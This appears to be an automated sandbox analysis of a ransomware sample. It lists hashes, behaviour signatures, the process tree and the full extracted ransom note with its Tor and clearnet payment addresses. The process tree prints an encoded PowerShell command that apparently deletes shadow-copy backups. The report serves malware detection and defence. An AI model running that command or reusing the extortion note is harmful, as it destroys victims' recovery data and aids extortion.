Overview

overview

10

Static

static

10

553d4a0c03...41.exe

windows7_x64

10

553d4a0c03...41.exe

windows10_x64

10

Analysis

  • max time kernel
    162s
  • max time network
    176s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 02:03

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General

  • Target

    553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe

  • Size

    164KB

  • MD5

    f51a5124afe1ae347da58adf8c527f63

  • SHA1

    6e3876a7305a8cc82b428dd603028dcbfe1f04f7

  • SHA256

    553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941

  • SHA512

    3e73967f8105f3e54fec0c1bf92328eddb5b4eabc8008ba6d9eb0774ff52a48e0e0958f2b1d6084370e5388d90b1fc9310024ddbec09e7c2a15b9ce7c92b8cda

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\64vp9hfw-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 64vp9hfw. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware" , for example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B842B3A5A8BF0D06 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/B842B3A5A8BF0D06 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: 8ScyJoLDEEZ76o/oA5fmXdWMiLB8JYQxO/bxw1Y9mtzWPTRx/2n+IH/PHb3z/g7/ K2zBeFlS1T74WpU/bSabW0QkF7GBveCk+tmq2GhoBWyiPhBa+zO1jVjI0XCzFgsZ nsKm7f6JTNcOdbTo3r9nDI6/I46Y7fNtPO+QxZvkZ7YxXVnC5JUmXd8r5hXMnEF6 /TNr2in2Xxnz43h5s7GgbOgLT27W0V0UnQB34nKIhvoWawWBQXNGYSgjaLPBbMZ4 Uwzjw/XLmJ3utfl7lnp3Hro1rNwdSybMd07bZNvLgFDIeGPMd7nXV0t6DmL6dMK1 S+ZmC8gW4Lod0sExdB5frJ2k9cXGzYUWiKDP8ODRqNg3IlC2/BvvXBLUH4+jLF+k ggfe86EiA4gWBuTVNQgzIwzvM2i6jbNNHn3sB5nFE0MeQdG9iLfFnrzViag6FNO7 1OII91ttvUC1smWlJ5Aqla5MHZWbdKTIoNYMyFHXYLHDsEp51MOh70GjHg0akrf/ F/oSN8XsPfwOMWDNvV03bKilZPpESxGggD49ZozLKSzeD9t2iQqYyTqVPRCgwiX9 tf1ogjbe3zyz9qrqF3nI4A2CayPN7oL9VNz+B6L4YPZhoCFU5IbBgEZJFcn/TQ/8 lwSNnV/1sSANaWMbSbbpdOtqtRwdvSrkfq99gfLwiQV/cqjsRT72gOrytUrZk5ys wpae1Fit2hs6BgxtvV4FZPrB5zlAv3mB8GyJ5lW9gRQIKcDyT2HTnIYzEus81THH KQlA3J188P3dWtHlFP6qM4SF56oyhlyU0hcd5Wu5RdsWcFekRvR1617L+zNCGvn8 6Aq13anZZYX9p9Cp8C3dvV/WB8Tl9JdYIVL25udFDQNINReYk/4UuiBXgSHf9but U/m2BnI9cyPoZN2PZWwuzv8s5olwSyVNWUNezdflyAJprXVS9obVmSAdUnG1WROl GKITcVsiHYKnRLn7u+UF7UalocyxSI1zkmeaXYYjWaFlxknsT3qDqZlZHl6L4J+1 YeQIpYUiwPaqdVm0hNkyFhne0KSNfgQ2timlrey9GI6OgGP+QzFFvSz2MyikyP01 WgpZGDsFES6xKuwSOCn6NSuUCZDNoF0AvWfIc0thZUHbU+U1KwTRUa97ZPPzmBtb Extension name: 64vp9hfw ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/B842B3A5A8BF0D06

http://decryptor.top/B842B3A5A8BF0D06

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 3 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 25 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 23 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe
    "C:\Users\Admin\AppData\Local\Temp\553d4a0c0338389ca07f89f044c14a0387de7d0396d25a629ed4b9dc6ee87941.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Sets desktop wallpaper using registry
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:3492
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2816
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:656
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2568

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/2816-119-0x0000021EB4B50000-0x0000021EB4B72000-memory.dmp

      Filesize

      136KB

      Download

    • memory/2816-122-0x0000021EB4D00000-0x0000021EB4D76000-memory.dmp

      Filesize

      472KB

      Download

    • memory/2816-129-0x0000021E9C9C0000-0x0000021EB4B50000-memory.dmp

      Filesize

      385.6MB

      Download

    • memory/2816-134-0x0000021E9C9C0000-0x0000021EB4B50000-memory.dmp

      Filesize

      385.6MB

      Download